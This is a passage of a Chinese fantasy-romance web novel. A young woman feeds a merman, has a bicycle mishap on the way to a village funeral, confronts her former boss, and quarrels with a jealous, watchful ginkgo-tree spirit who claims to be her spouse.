卖炒粉的阿姨之前三天两头看到她,突然某天开始就不见她来摊子上吃东西还担心过一阵。后来去打听了下,原来人家家里通水电,自个在家做饭呢。
“小姑娘,今天要吃什么?”卖粉阿姨和早餐摊阿姨是妯娌,弟妹不在,她便管上。
岑让川看到是她,调侃说:“阿姨,您两份产业都在这等我呢?”
炒粉阿姨爽朗笑出声:"那可不,就等你。要吃啥?冬瓜鲜肉包子尝尝吗,可新鲜了,凌晨四点起来包的。"
“那来两个吧。”她想到宅子里饿了好几天的鲛人,动了恻隐之心。
银清出门了,再怎么样也监管不到她?
她想着,又对炒粉阿姨说,"忘了家里还有一个,再来……"
来多少?鲛人食量如何?
这么多天过去,她就只看到鲛人吃了三条鱼。
两条她买的,一条银清故意丢进池塘的鲫鱼。
吃到一半还差点被银清弄死,惨就一个字。
"再来十个吧。"
"好嘞,还要其他的吗?豆浆要不要尝尝,还热乎呢。"
“行,来两杯。”
“一共……二十一块钱,给你抹个零,二十吧。”
"行,转过去了。"
“好嘞,要是好吃下次记得再来。诶,对了,我听说你表弟来了,男孩子家家确实需要吃挺多。你们爸妈知道你们来这住吗?”
望着炒粉阿姨那张
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和蔼的圆脸蛋,岑让川看到她眼中的关切,硬着头皮说:"知道的,他来帮我忙。"
“那就好,确实你一个小姑娘住凶宅里,前段时间你没来我还担心呢。”
两人又说了会话,岑让川正要告别,背后传来自行车刹车声。
她本以为是不认识的路人,却听到他标志性元气满满的嗓音。
"让川!好巧,你也来买早餐啊?"
岑让川回头去看,居然是一段时间没见过的严森。
她提着一大堆包子走近,笑道:"好巧。"
“你吃这么多?”这家早餐摊份量很足,严森工作的地方只有一个女孩,通常吃两三个就饱了。
他望向岑让川清瘦的身材和那张灵秀的脸,有点惊讶:"吃这么多你还这么瘦?几天不见你是熬夜了吗?怎么感觉黑眼圈有点重?"
当然是因为肾虚啊!
岑让川怎么可能说出口,勉强笑笑,替自己解释:"不是我一个人的量,我给……我表弟买。"
差点把鲛人供出来。
"表弟?"严森更疑惑了,“我师傅说看到你表弟在去参加张奶奶的葬礼了呀?你们不会在老人家葬礼上吃早餐吧?呃,那样子虽然不是不行,但你知道吧……不太合适……”
银清去参加葬礼?
岑让川想到一个人:"你说的是那个开中医馆的奶奶?"
"对呀,你不知道?群里昨天有发讣告。"
她知道个屁,银清那死小子又在昼夜不分缠她,话里话外都在暗示。
又因为顾及她的肾,求着让她以另外形式那啥。
再跟他搞下去,山上迟早多一个坟包。
想到这,她开始认真考虑给一棵树做绝育手术的可能性有多大。
严森不等她回神,笑着说:"你和我一起去吧,张奶奶没有子女,镇上好多年轻人都自发去帮她徒弟办葬礼,正好你也有机会认识下其他人。"
交新朋友……
也不是不行。
"那你等我下,我把包子……给我另一个堂弟。"
严森诧异:"宅子里还有第三个人?那正好,一起嘛。"
“不行,我堂弟社恐,腿有毛病,走不了!”
她编瞎话的本事越来越厉害了,不等严森再说话,她提着包子往宅子走,“你等我会,我先给我堂弟送早餐。”
再不走她怕露馅。
严森奇怪地看她急急忙忙离开,挠挠脑袋。
走这么急干嘛?
他停好自行车,走去摊子前买早餐。
另一边,宅子里响起踢踢踏踏的脚步声,风一样卷进老宅。
在池塘边饿到开始挖蚯蚓的鲛人狼狈躲回水里。
"扑通"一声,溅起点点水花。
岑让川直接翻过栏杆,对水里看不见的鲛人说:"喂,别躲了,银清出门了还要时间才回来。我给你买了包子豆浆,你随便吃点好的。"
水面破开,水壶烧开的哭声也伴随水声响起。
“呜呜呜——”
“……”岑让川连忙解开塑料袋。
鲛人饿得不行,张嘴就咬了半口包子,一边吃一边哭,还不忘问她:“他知道你给我买东西吃吗?”
“不知道,趁他出门我才敢给你买。”
鲛人哭得更大声了:“这顿……就是我的断头饭……”
岑让川想,不至于吧……
等等,以银清那对待鲛人的残暴手段……
她又犹豫了。
27. vintage古着衣1
“你不说,我不说,他不会知道吧?”
鲛人泪流满面:“怎么可能不知道……我们就在他树根上!换句话说,你只要脚踩在地上一天,他就知道你在哪,去见了谁。”
“……那,怎么办?”岑让川艰难发问。
她怎么感觉自己虽然自由,实际上却是困在一个巨大的牢笼?
“除了哄,还能有什么办法……”鲛人抹去脸上的水,喝了口豆浆,烫得直吐舌头,但又舍不得这甜丝丝的味道,含在嘴里不愿意吐出去。
他将口中热烫气息吐出,凉气吸入,来回两三遍才把第一口豆浆咽下去,发出喟叹:“没想到,第一次喝千年后的热汤,竟就是我的最后一餐。”
说罢,又发出水壶烧开的哭声。
“事情还没到那地步呢。你慢慢吃,我等银清回来跟他慢慢说,尽量不宰了你。”
“废了也不行啊,要不这样你把我带到身边吧?”鲛人一想,又觉得不妥,“他要是知道我靠近你,指不定怎么想。狐媚子、狐狸精、祸水……他绝对会这么想……我长这么好看,你现在就算对我没想法,以后说不准像对我们本体一样,对我来个霸王硬上弓……诶,诶,你怎么走了!”
岑让川懒得听他扯:“门外还有人等我。”
“不会是男的吧?”鲛人警觉问。
“男的,你应该见过,上次来宅子里给银杏树安装避雷针的那个。”
“……罪加一等。”
岑让川没听清:“啊?”
鲛人已经把包子全都吃完,在那舔塑料袋上残留的包子味,嘴里叽里咕噜的不知道在说什么。
岑让川也不去试图理解他说的话,丢下一句:“你要是饿了就去主屋小楼一层进门左边我办公的地方,有吃的。”
说完,她脚下生风,快步离开。
鲛人揭开豆浆盖子,捧着塑料盖头也不抬:“赶紧走,越晚走我越危险。”
银杏树底下的根系与无数植物相连,他们她们之间的对话银清估计听得一清二楚。
就看他算不算账而已。
要是算账……
鲛人决定今天去把岑让川说的地方吃食全部掏空。
做也要做个饱死的鱼!
想到这,鲛人低头看仅剩半杯的豆浆。
天杀的,这个白白热热又甜甜的汤是什么?
断头饭真好吃……
另一边,岑让川跨出门槛。
桥那边的严森还在啃油条,看到她来,嘴里撑得满满的,含糊不清地说:"你等我一会啊,我很快吃完。等会我载你去。"
“等什么?别等了,我载你,上来。”岑让川环顾四周去找严森的车,扫到树底下停着的老凤凰大杠自行车问,“这是你的吧?”
严森咽下口中的包子,点头说:“是我的,我就快吃完了……”
他话没说完,岑让川已经迈开长腿坐上去,用大拇指弹响铃铛。
“叮叮——”
清脆的铃声瞬时将人带回二十多年前千禧年间。
那个年代,一切都处在发展前夕,信号慢车马慢,就像现在小镇生活这样。
岑让川摇摇晃晃把着车头转圈,她太久没骑自行车,转了几圈后找到手感,停在咀嚼肉包的严森面前,笑着说:“上来,我带你。”
严森顿时有点不好意思:“别吧,我挺重的……还是我带你,我车不太好骑,单位发的……”
炒粉阿姨听到,笑道:“小严害羞啦~没被女孩子带过这次体验一下呀!”
说完,她和妯娌互相对视一眼,笑得直不起腰。
连在她们旁边卖菜的阿奶都露出了个没牙的笑。
严森直接被她们闹得脸红,嘀咕了一句什么,忸怩着不肯上车,啃包子的动作也小许多。
岑让川直接伸手拉他,把他拽到自己背后:“上来,给我当导航。你坐我后边慢慢吃,张奶奶那怎么走?”
严森还没说话,炒粉阿姨惊诧的声音传来:“你们是要去张奶奶那啊?早说呀,先别走。”
二人对视一眼,不明白炒粉阿姨想干什么。
片刻后,周围几个阿姨叽叽喳喳提出一堆米面放在自行车前篮。
岑让川听了好半天才知道张奶奶葬礼中午的时候是阿姨们操办席面。
她现在前车沉重,载着一堆米面,后座上还有个一米八的成年男性。
行驶在青石板路面上,慢慢吞吞的。
虽然慢,她却久违地感受到晨风吹过发丝,像有双温柔的手穿过,替她拢起长发。
“前面路口右转。”严森连忙提醒。
他侧坐在后座,头一回被同龄女孩带着,颇有些羞涩。
严森没敢把手放在她腰间,只能抓屁股底下镂空坐垫稳住身形。
偏偏前方出现一个减速带。
车轮滚过,米面飞起又落下。
严森下意识抓住她后背的衣服稳住身形。
岑让川缓慢转过一个弯,收纸皮的老爷子卯足劲从后面擦过来,拼命摁响车铃铛。遇到这种老人家,她只能让开路,贴着墙让老爷子先过去。
背后严森猝不及防被厚厚纸皮糊了一嘴,手又往前抓了几寸。
就听到收纸皮的老爷子大声说了句:“现在的小孩忒不行!骑个车跟黄牛犁地似的!”
岑让川好胜心起,干脆拉起他的手放在自己腰上,随即重新踩下踏板:“坐稳了。”
“诶,不是,你要干嘛!”
岑让川弹响车铃,像吹响冲锋号,微微站起往前冲去。
她的发尾与衣摆被风吹起,扫在严森脸上,刮来阵阵香气。
草木气息格外浓郁,是他闻到过却不怎么熟悉的味道,其中还掺杂洗衣粉的花香,二者混合,清新又柔和。
严森微微眯起眼,稍稍侧过身往前看去。
一老一少将车铃按得叮当作响,任谁都想不到她们居然在巷子里飙自行车。行人听到纷纷躲避,一条巷子很快走到头,即将上宽阔的大路。
严森忙指路:“往左。小心!”
他话没说完,急促尖锐的刹车声响起。
尖叫声传来,黑色影子上下翻飞,重重砸在水泥路上,老人机屏幕碎裂成蛛网,电池都飞了出来。
车篮堪堪停在花裙子大婶脚边不到一寸处,再往前就要碾过人家脚趾。
祸事接二连三。
“你会破财。”
银清的话回响在耳边。
载满纸皮的老爷子惊恐地冲来:“快走开!我刹车失灵了!”
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严森忙拉着岑让川想躲开,但他们所处方位十分特殊。
直行过来的拐角不是正常的拐角,左前方是个小三角,正好撞上花裙子大娘,后方是个大三角,恰好是汽车行驶过来时的视觉盲区。
如果任由大爷往前冲,滚进田里必定骨折。
电光火石间,岑让川做了个大胆决定。
她任由自己被严森拉下,她听到大三角处已经有汽车行驶压过石子来的声音,在大爷冲过来时,猛地扑向大爷。
“小伙子当心!”花裙子大娘尖声叫道。
混乱中,另一道拉长的刹车声响起。
“嗤——”
车头撞在路边电线杆上,直接把电线杆撞歪。
灰色刹车痕迹印在路上,大量烟雾冒出。
岑让川被大爷压得快断气,还没反应过来是怎么回事,就听到大娘和老爷子同时骂出声。
冷冷清清的小巷冒出不少人,全都冲了过来,气势汹汹。
老爷子被人抬起,连带着岑让川也被七手八脚扶起来。
严森赶忙过来帮忙,扶着她问:“你没事吧?哪里疼?我送你去医院?”
纸皮还稳稳地绑在大爷车后座上,岑让川纯属是拿自己当人肉垫,让刹车失灵的大爷安稳落地。此时她是背疼尾椎骨疼,哪哪都疼。
刚刚短短几秒时间。
她跟大爷在巷子里飙车,她撞到了花裙子大娘,导致人家手机碎裂。
大爷刹车失灵,被她一把按倒。
后方来车,转弯不减速,差点把他们在场四人都团灭。
比起飙车手机撞坏这两件事,后者事件更为恶劣。
黑车被团团围住,花裙子大娘愤怒地拍打驾驶位车窗,嘴里骂骂咧咧,也不先计较岑让川把她手机撞坏这件事。
大爷被众人搀扶到另外一边石墩下坐着检查身体,人家老当益壮,指着黑车破口大骂。
严森关注点格外不同,看到车标感慨了句:“哇,奔驰诶,镇子上好少见。不知道是谁来了。”
岑让川却在想自己要不要借着这段时间开溜,这样她就不用赔钱了。
但良心上又过不去,加上镇子小,很容易打听到她是谁,也就老老实实呆在原地。
可严森没告诉她,张奶奶家就在附近,转个角就到。
这边巷子人声鼎沸,骂声震天。
已经吸引不少人过来看是怎么回事。
藏在角落看热闹的小孩跑去张奶奶家给大人通风报信。
一传十十传百。
银清刚展开张奶奶留给他的遗书,才看了几个字就被外面说话声吸引。
不认识的婶子进门把他往外推,边推边说:“快快快,你表姐被人欺负了。”
表姐?
他哪来的表姐?
银清疑惑,跟着婶子往外走。
穿过沸沸扬扬的人群。
他长得高,一眼就望见岑让川……和她身边那个男的。
银清立时面色变得不太好看。
岑让川没有发觉,她惊讶地看着迫于压力下车的人。
刘庆远。
她的前老板。
他怎么来这了?!
为了雷击枣木?
不至于吧?
28. vintage古着衣2
“你怎么在这?!”经典□□长相的刘庆远瞪大眼睛,不可思议地问岑让川。
岑让川直接呛声:“我还想问你呢!来这干什么?差点把我们四个老老少少撞死,不知道转弯路口限速啊?”
刘庆远瞪她,早知道是她,他就一个加速撞过来了。
自打被岑让川劳动仲裁后,他的运气一天比一天差。
先是前后赔了员工几十万赔偿款,他当然知道背后铁定有她支招,不然怎么四五十岁的法盲都能轻松告赢他?
赔偿金、大量员工离职、客户流失……
工作室岌岌可危。
他放下自尊求爷爷告奶奶才把局面稳定下来,又总是梦到女儿去世后的画面。每晚被吓醒不说,去世的女儿好像还到现实生活中了……
不知道是精神压力太大还是其他,晚上照镜子时他总会看到镜子里另一个自己变成满身满脸都是黄符的人,一只血红的眼睛从缝隙里死死盯着自己。
睡觉时,身下被褥会变得又湿又冷。
等到他睁眼,就会看到身旁有个穿秀禾服的女人披着红盖头静静躺在他身边。他惊恐万状,却四肢僵直根本跑不掉,只能任由女人靠近,身上腐尸味道钻入鼻孔,他从红盖头下看到黄符飘动。
蓦地,女人头颅跌落,停在他胸口。
没了头颅的身体依旧还在动,绣满喜鹊连理枝的袖子下伸出生前秀美的手,食指上还有白冰翡翠戒指,轻轻揭开了红盖头。
黄符将整颗头颅遮挡得密不透风。
一只眼睛盯着他,就这么盯着他。
那是他女儿死时穿着的婚服,食指上的玉戒指还是他亲手替她戴上的。
他想找朱矮子问问刘缔究竟为什么缠着自己亲生父亲,还没等朱矮子出手,她又莫名其妙消失。
朱矮子说要找到源头或许才能知道。
正好他出五服的远房张表姑母去世,他这才有理由来这。
没想到导航导到这就出事了。
一出事,下车看到的还是自己最讨厌的前员工。
“什么叫我来这干什么!我来看我表姑母,你也管得着?小姑娘家家性格这么厉害,你小心嫁不出去。”刘庆远看她毫不在意,接着阴阳怪气道,“来这破地方,我看你也没什么前途,走的时候这么横,我当你去北京上海大城市潇洒呢,没想到你来这穷乡僻壤。还继承家业,在这继承锅碗瓢盆吧你!”
没等岑让川说话,严森挡在她面前:“怎么说话呢你!什么叫穷乡僻壤,这里人人安居乐业靠自己双手吃饭怎么着你了!让川来我们这继承宅子你眼红?开奔驰了不起啊!”
“他还真是眼红。”岑让川呲牙乐道,“刘庆远,不给员工交社保又不跟员工签合同,在工作室当土皇帝当久了真当自己是皇帝了?新时代还拿嫁不出去打压女性呢?你老婆跟着你可没少受苦,你儿子跟着你学得有模有样自私自利,中专毕业现在还啃老呢。哎哟,我要是嫁给你这种人,我还真不如单身呢。”
她还想多呛刘庆远两句,肩上却传来冰凉的触感。
银清的声音从背后冷冷清清传来:“她不是嫁不出去,也不是继承锅碗瓢盆。我是她老婆,她还继承了座五万平宅子和金……”
“一边去。大人吵架别给我瞎掺合。”岑让川赶忙堵住他的嘴。
财不外露!
财不外露懂不懂!
还我是她老婆,这事是能往外说的吗!
她现在在镇子上给他安的人设是脑子有问题的表弟!
不然怎么解释他的身份?
她又不打算跟一棵树白头偕老。
解决完他千年前给自己下诅咒的事后她可没想继续留在老宅里,到时候铁定拍拍屁股走人了。
幸好,银清说的话没几个人放心上。
阵子上的人都知道是岑让川继承那座老宅,却没人眼红。
那破宅子太凶了。
千年前流传下来的说法就是曾有女城主在此地杀父弑弟后登高位,又有传言说这位女城主还把谋士尸身埋在宅里银杏树下。
后世陆陆续续有人搬进去,没过半年就死在老宅不说,死状恐怖。没人敢进去收尸,任由他们在宅子里腐化。
有关那座程府老宅不胜枚举,镇子上小孩不听话总会有大人吓唬他们说要把小孩丢进宅子。
这么日积月累下来,凶宅与银杏树在云来镇跟地标似的存在着。
被她吼了一嗓子,银清感到有点委屈,狠瞪了一眼严森。
严森:?
这人怎么回事,针对他做什么?
刘庆远冷笑:“嘁,岑让川你现在真虚荣,雇了这么两个保镖?行了,你们这群碰瓷的想要多少钱?又没真撞到你们,我这行车记录仪开着,赶紧让开。”
他这番话傲慢又自大,激怒了花裙子大娘和纸皮老爷子,两大战力带头,围观群众群情激昂,直接开喷。
正在这时,银清忽而感到一阵强烈的视线。
黑车里,有熟悉的感觉。
且不止一道目光。
他能感觉到那道目光从他身上游移到岑让川身上。
银清不动声色挡在岑让川面前,却直接被她推开。
“别给我碍事,我非骂死他!”她战力惊人,面对刘庆远像只昂首挺胸鼓胀起鲜亮毛发的斗鸡,似是随时都要冲上去叨一口,不死不休。
刘庆远刚开始还能回嘴骂两句,可一人对群众哪有胜算,花裙子大娘一口唾沫喷他脸上后跟开始了什么机关似的,周围人直接冲他吐口水。
混乱之际,副驾驶座的门被打开。
朱矮子挤开人群,拿着把黑伞艰难蠕动到刘庆远身边。
没等他走到,岑让川公报私仇趁人不注意,伸腿偷偷绊他。
朱矮子一个趔趄,抱着黑伞脑袋直直撞向刘庆远重点部位。
惨叫声顿时响起。
始作俑者岑让川乐不可支,身体偏向严森,用目光示意他先捡起米面去张奶奶家。
银清始终盯着黑窗玻璃,静静地和车里另一人对视。当他看到车窗上倒映出刚才那一幕时迅速收回目光,去看岑让川和严森两人。
“你什么时候跟他关系这么好?”银清低声问,紧盯着她的脸生怕遗漏一丝微表情。
“关你什么事,走开。”她烦他老黏着自己,越过他拉过一旁的大娘问,“阿姨,我把你手机撞坏了,你看看我赔你多少钱?”
花裙子大娘握着后
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盖掀飞的手机这才反应过来,意犹未尽地说,“姨不讹你,大家抬头不见低头见的,你带我去小秦那吧,能修就修,不能修的你赔一半给我买个新的。”
“好嘞,大娘,跟我走吧。”她没再理会银清,又紧走几步去扯严森的衣服,小声嘱咐他,“等会刘庆远应该会松口要赔钱,你记得多要点。他不是好人,你瞎编你这破自行车要上千知道不?”
严森挠头:“这……不太好吧?”
“什么不太好,薅资本主义羊毛呢!你这样……”她压低声音给他出主意。
严森表情从为难到后面的震惊,又从震惊变成懵懂。
银清冷冰冰的视线放在岑让川抓着严森袖子的手上,心底那黑暗的想法缓慢发芽。
他怎么能不清楚,她不爱他呢?
千年前,她打破制度,以铁血手腕掌权,扭转局势,让天下女性都不必为一座贞洁牌坊恪守妇道。
千年后的社会,礼仪教条都不再成为女性的束缚与规训。
他除了放低姿态,还能有什么办法让她爱上他?
可她的心呐……
怎么能这么硬呢?
从头到尾,犹如一颗捂不化的寒冰。
银清强迫自己收回目光,心中再次萌发杀意。
只要他想,镇子上的人,不论是谁,他都能做掉他们,不会留下一丝痕迹。
她今早过来之前,是不是给鲛人买吃的了?
今晚之前她要是再说什么让他难受的话……
银清慢慢吞吞拂过锦缎衣袖上的暗纹刺绣,眼底闪过杀意。
正好,他也来了。
三个。
一同绞死算了。
想到这,银清目光扫过黑色车窗,转身隐没在人群中。
车内,一身黑衣的人喉结滚动,握着手上一根藤条静静看窗外银清离去。
他发现自己了……
刘庆远留给人民群众审判。
岑让川心中别提有多爽了。
银清说的破财事件也没有太严重,花裙子大娘格外明事理,听说她原本是去张奶奶葬礼上帮忙,由原来的赔五百变成赔两百。
秦叔替大娘换电池修好手机后干脆关店和他们一块去帮忙。
路上。
岑让川载着大娘,吭哧吭哧蹬自行车才知道张奶奶生前有多令人尊敬。
五十年代大学生含金量多高啊。
张奶奶放弃大医院抛来的橄榄枝,毅然决然回乡继承衣钵,给乡亲们看病。有些住在山上的,她会不远万里骑着自行车去给人看病。
中医馆亏损严重,她就自己去挖药。
直到那次失足落崖,她遇到银清。
在这之前,张奶奶父亲原是半遮半掩地教,生怕她太厉害嫁去别家过日子不安生。
她边听着花裙子大娘讲起张奶奶的故事边骑车往目的地走。
还没到呢,就看到银清迎面走来。
她只好停车,问银清要去哪。
如果要回老宅,她得跟着回,不然鲛人大概率会被他弄死。
银清不回答,甚至冷着脸不看她,与她擦肩而过。
岑让川:?
她又哪里惹着他了?!
29. vintage古着衣3
“姨,我等会再去,我看看我表弟怎么了。”她把自行车还给花裙子大娘,连忙跟上去。
“一定要过来啊!”花裙子大娘喊道。
“小心点!”秦叔也喊,“别跑这么快,当心摔着!”
岑让川没有回头,随意朝他们挥挥手示意自己听到了,然后快步赶上银清。
小巷幽深,镇子上大部分认识张奶奶的人都去吊唁,要么就是被之前的动静吸引过去,现在重走一回小巷人少了许多。
她去拉银清的手,却被他迅速避开,连片衣角都没碰到。
银清大步往前走,月白色长裤覆在那双长腿上,如流云般随着他行走拂出垂坠褶皱。颀长笔直双腿交错向前,裤腿飞起时还能依稀看到白色短袜包裹下瘦削的脚踝。
路过五金店、服装店、早餐店,各式各样的小店铺被她们飞快抛在身后,偶有骑着自行车的人弹响车铃路过。
两旁街道不断往后退,速度快得连趴在柜台上懒洋洋睡觉的猫都会抬头看两眼,复又趴下。
在店铺门前坐在躺椅上的老人们浑浊的眼睛望来,兴趣盎然地一手拿蒲扇一手拿茶壶,目光紧随其后。
墨色长发丝丝缕缕翻飞,他仅用一根玉簪把大半墨发簪成一团,懒懒散散似是随手簪的。如果不是头骨圆润,颅顶生得高,换作普通人估计就没有那种慵懒随性的感觉了。
岑让川不自觉把目光从他头发移到他背上。
应该是千年前古代世家公子留下的规训痕迹,不论什么时候他的背总是挺直,一举一动似有戒尺丈量。
哪怕平日里随意躺坐都自有股优雅的书卷气。
她不明白他在跟自己闹什么大少爷脾气,直接跨步上前,半搂住他清瘦的腰往右边小巷子里带。
银清被她带进日光不足的窄巷,肩胛骨碰到冰冷的墙面,撞得有点疼。
他一声不吭,冷冷道:“放开。”
“不是,你究竟犯什么病?”她直接问,“谁又惹着你了?”
“不关你事!”他语气很硬,甩开她的钳制要往外走。
岑让川使出吃奶的力气把他搂回来,按在墙上:“话给我说清楚,你到底想干嘛?”
“不干嘛,放开。”
“你!”岑让川左右看看没人,忍着气问,“你现在想要?”
银清注视她半晌,冷笑出声:“你真是和以前一样没变,只管我能活下去,兴致来了才肯为我解欲。平日要是没事,连我在想什么要什么一概不管,你把我当成什么?面首?小倌?男宠?”
岑让川无法理解:“我们认识不到一个月,做了这么多回,不是已经默认是炮友关系吗?你现在突然冲我发脾气做什么?!我们一没领证,二不是男女朋友,如果不是你千年前的诅咒我们压根不会相遇,你今天甩脸我还得哄着,你不觉得你莫名其妙吗?”
“炮友?”他表情迷茫一瞬,很快意识到不是什么好词,“我们曾经有过婚约!你不能这么对我!我出门前跟你说过不要去看鲛人,你为什么不听?你过来时,那个过来爬树装针的小鬼是不是抱过你的腰……”
“你跟踪我?!”岑让川又是震惊又是愤怒。
她们之间的就像她说的那样,是炮友关系,这种情况就不该越界太过干涉对方生活。
这种被盯着的窒息感,犹如一根铁丝箍在她脖子上,越勒越紧,几乎快不能呼吸。
“你见过……”他虹膜微微亮起,冷淡中也隐隐压着怒意,“你踩在我的银杏树根上,每时每刻我都能感受到你的方位,你跟谁在一起,说过什么话,我统统知道。为什么不听我的要给鲛人喂食!你就这么喜欢他吗!”
“我x。”岑让川气得骂了句脏话,“你就不会把你的感知关掉给我们彼此都留点隐私吗!”
“岑让川!你不守信用,你答应过我不去看他的!”
“我要是不去,饿死的是你的分身!”
“我就是存心要饿死他,你为什么要插手!”
两人怒视对方,各怀心思,都不肯在这时低头。
岑让川明白他出于不能说的原因无法把鲛人分身融回去,生怕鲛人真饿死对他产生影响,好心被曲解成奸情已经很不爽。
加上她厌恶这种时刻被他监视的感觉,当下根本不想对他说句软话。
银清的态度也很明确,他三番两次想弄死鲛人皆因前世。
第二世了……
眼看要重蹈覆辙。
他怎能不心慌?
在情感中从来都处于下位者,患得患失,忐忑不安又难以企及的情绪常年缠绕着他。
爱欲得不到满足,便只能退而求其次,选择最基本最低劣的欲。
望见她眼里升起的抗拒,银清死死攥拳,任由指甲陷入掌肉。
他刚想低头道歉,旁边传来一声男音。
“你们在这啊!快走啊,开席了!”秦叔不放心,去而复返,好不容易才找到两人所在处。
重回张奶奶家的路上,三人诡异地沉默着。
以秦叔为分界线,二人分作两边,安静地往前走。
两旁低气压过于明显,压得人微微喘不过气。
秦叔飞快瞥银清一眼,又看看岑让川。
很明显,两姐弟吵架了。
他清清嗓子,没话找话:“小岑,他是你表弟吗?”
“嗯。”岑让川简短应道。
银清听到这,忍不住冷哼。
表弟。
滚到床上的表弟?
岑让川飞去一记眼刀,语气不善:“要吵架是不是!”
没等秦叔劝阻,银清指着不远处卖自行车的店,颐指气使道:“给我买一辆!”
岑让川顺着他手指头望去,刹那间明白他究竟在别扭些什么东西。
可她现在生气上头,偏偏不遂他的愿,冷硬拒绝:“这么有本事,自己去买啊。求我做什么,我又没钱。”
银清平静道:“你要是现在不给我买,等会撞上你前老板会有血光之灾。”
秦叔:?
他怎么听不明白是怎么回事?
更奇怪的事发生了。
岑让川绕过他往那边卖自行车的店走去,没有看一眼银清,直接态度恶劣地问:“要买什么样的!”
“黑色,能两个人……”银清话没说完,岑让川已经往前走去。
他也追了上去。
留在原地的秦叔:“……”
这两小孩咋回事?
吵架……是这么吵的吗?
没等多久,岑让川已经付完钱,依旧是理都不理会银清,走得飞快。
跟在她身后的银清,扶着自行车走得磕磕绊绊,没一会就直接被车轮压到腿,和自行车一块摔倒在地。<
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p>“诶哟!”秦叔赶忙把车架打下,紧跑过来想去扶看起来有点文弱的银清。
岑让川拦住他:“秦叔,不用管他,一个大男人摔就摔了,自己会站起来。”
秦叔瞥到摔在地上坐起来的银清,不忍道:“你们年轻人啊,吵架归吵架。这种事还是要搭把手的。嘶……你表弟好像摔破皮了。”
破皮!?
岑让川脑中警铃顿时拉响。
他是棵树,不能露馅!
“我来,您别受累。”她阻挡住秦叔要迈向银清的步伐,“他不喜欢别人接近,我来就好。”
“噢……”秦叔狐疑地应下。
岑让川顾不得许多,转身去查看银清摔的情况。
路灯柱子下,鹅卵石路上。
新买的自行车崭新地发亮,前轮在车轴里还在咕噜噜旋转个不停。
银清坐在车旁,捂着手腕一言不发,也不看她。
他把大部分痛觉分裂出去,确实已经感受不到多少通意。
只是……
“你摔到哪了?”岑让川拉着他的手问。
只是觉得很委屈……
她明明答应过自己,不去看鲛人的……
银清抽回手,淡淡地回她:“不关你事。”
说完,他慢慢起身,拒绝她的搀扶。
没关系的。
千年来,他都是自己一个人扛过来。
破个皮而已。
比起他分裂的痛苦,跟被猫挠了一样轻。
岑让川本来也不想管,眼睛却不由自主往他手腕上瞟。
他肤色白,一眼就看到破皮的部分。
秦叔站在不远处,把手机塞进裤子催促说:“让川,你表弟有事没事啊?咱们得赶紧过去了。听说你前老板在灵堂上跟那风水师搞邪门歪道呢,得去瞧瞧热闹。”
要放在以前,岑让川二话不说蹬起自行车就跟他跑。
但现在……
她虚虚拉住银清的手腕,勉强笑笑:“您先去吧,我先带我弟去买个止血贴。”
“好嘞,那我先走了。”秦叔看热闹心切,指向前边说,“右拐左边有药店,你也赶紧来啊,俩姐弟,一家人别闹别扭啊。”
“好。”岑让川点头。
望着秦叔蹬上自行车猛踩踏板离开,她也心痒痒地想赶紧去。
刘庆远到底来这地方干什么?
她快好奇死了。
岑让川按捺下蠢蠢欲动的心,从口袋摸出一个创可贴。
“不要……”他还在闹别扭,想抽回手,被她使劲拉过来。
岑让川不耐烦道:“老实点!”
他挣扎两下,随着贴纸被撕开,岑让川利落地在他暴露的绿色伤口上贴好一个画满小熊的止血贴。
银清抬手看贴在自己手腕上的止血贴,想去用指甲掀开。
旁边车铃声响起。
岑让川催他:“赶紧上来,我带你。”
银清看她,被她直接拉到后座。
“抱着我。”她没了耐心。
银清调整了下自己坐姿,这才把双手圈在她腰上。
自行车初时摇摇晃晃,往前行出一小段已变得无比平稳。
他没忍住,靠在她后背上,听到她的心脏随着风声拂过耳边。
他眼中阴郁被驱散许些,唇角不自觉微微勾起。
30. vintage古着衣4
风轻轻吹着,银清将侧脸靠在她后背上,两人长发在半空中交织,丝丝缕缕缠绕。发梢打在他脸上,有点痒还带着些微的疼。他想起从前,她第一次带他去踏青不慎摔倒时,茂盛草地刺在脸上似乎也像今天这样。
他不由自主想要更靠近,温凉的吻悄悄印在岑让川后背,安静地想要享受此刻从未有过的新奇体验。
结果岑让川根本不长记性,骑着自行车转弯转得又凶又猛,差点把他甩下去,银清从回忆里惊醒,不由怀疑她是不是故意的。
岑让川当然是故意的。
她不爽。
那他也别想好过!
想象成真,今天听到银清亲口承认她只要脚底触地,就跟在他的根茎上没两样,他随时能感知自己的一切,隐私全无。被一棵树二十四小时监视,就像站在摄像头下直播,一点隐私都会被放大观赏,不同的是观众只有他。
不爽,真的太不爽了。
她沉着脸,把自行车停在一座明显是客家风格围屋面前。
民居呈半圆形状,屋前空地另一边有个小水塘,周围种满果树。正值夏末,果树上已经结满杨梅,因无人采摘,已经掉落不少。空气里隐约有杨梅腐烂的甜味。
屋前空地已经停满摩托车电瓶车,和自行车挤在一处。刘庆远那辆用来装X的奔驰远远停在鱼塘边,像是生怕谁把他车刮花似的。
岑让川坏心眼地想等会雇个小孩把他车弄花,免得他成天得瑟。
可也只是想想。
她收回思绪,见身后的人还没打算放开手,语气里带着明晃晃的不悦:“喂,松手!”
银清慢慢吞吞下了车。
但在岑让川的视觉里看来他不过是从坐姿变成站姿。
他腿的长度堪比黑人模特,像两根竹子裹上血肉覆盖一层人皮藏在浅色裤腿下,只有在漫画里才能看到如此逆天的比例。
吃什么玩意长这么好?
岑让川此时才注意到他今天穿着一身白,明显是丧服。
一套米白色亚麻质地,没有绣花没有暗纹,素净雅致。他头上玉簪也换成了羊脂玉,斜斜插进脑后乌发。几缕碎发散下,虚虚遮住长眉眉尾,若有似无地给侧颜增加几许清冷风流之态。似是觉察到她在看他,浅浅琥珀色眼眸望来,长睫轻颤,恰好有风拂过,他微微眯起眼睛,长发恰好挡在睫毛外,眼中有细细碎碎的光流动。
岑让川收回目光,装作若无其事把新买的自行车停在严森的自行车旁,也不上锁,停好车后径自走进民居。
她能感觉到银清的视线追着她,这让她更觉得不舒服。
世界就像一个巨大的蜘蛛巢穴,他的根茎深埋地下如蛛网密布,众人行走于树根上。金蛛趴伏于蛛网中心,花草皆是他子民化身,收集远在千里、近在咫尺的声音,成为他的网报,监视她的一举一动。她毫无所觉,拿着他抛出曾属于她的金银进入他的领地,被他的蛛丝点点寸寸裹紧缠绕,直至与他密不可分地捆绑在一起,合二为一。
她不想成为他的附属品,更不想有个人阴魂不散地跟在她周围。
随意说出的某句话做出的某个动作都被他记在心里,承载他的浓烈的偏执与深沉似海的欲望。
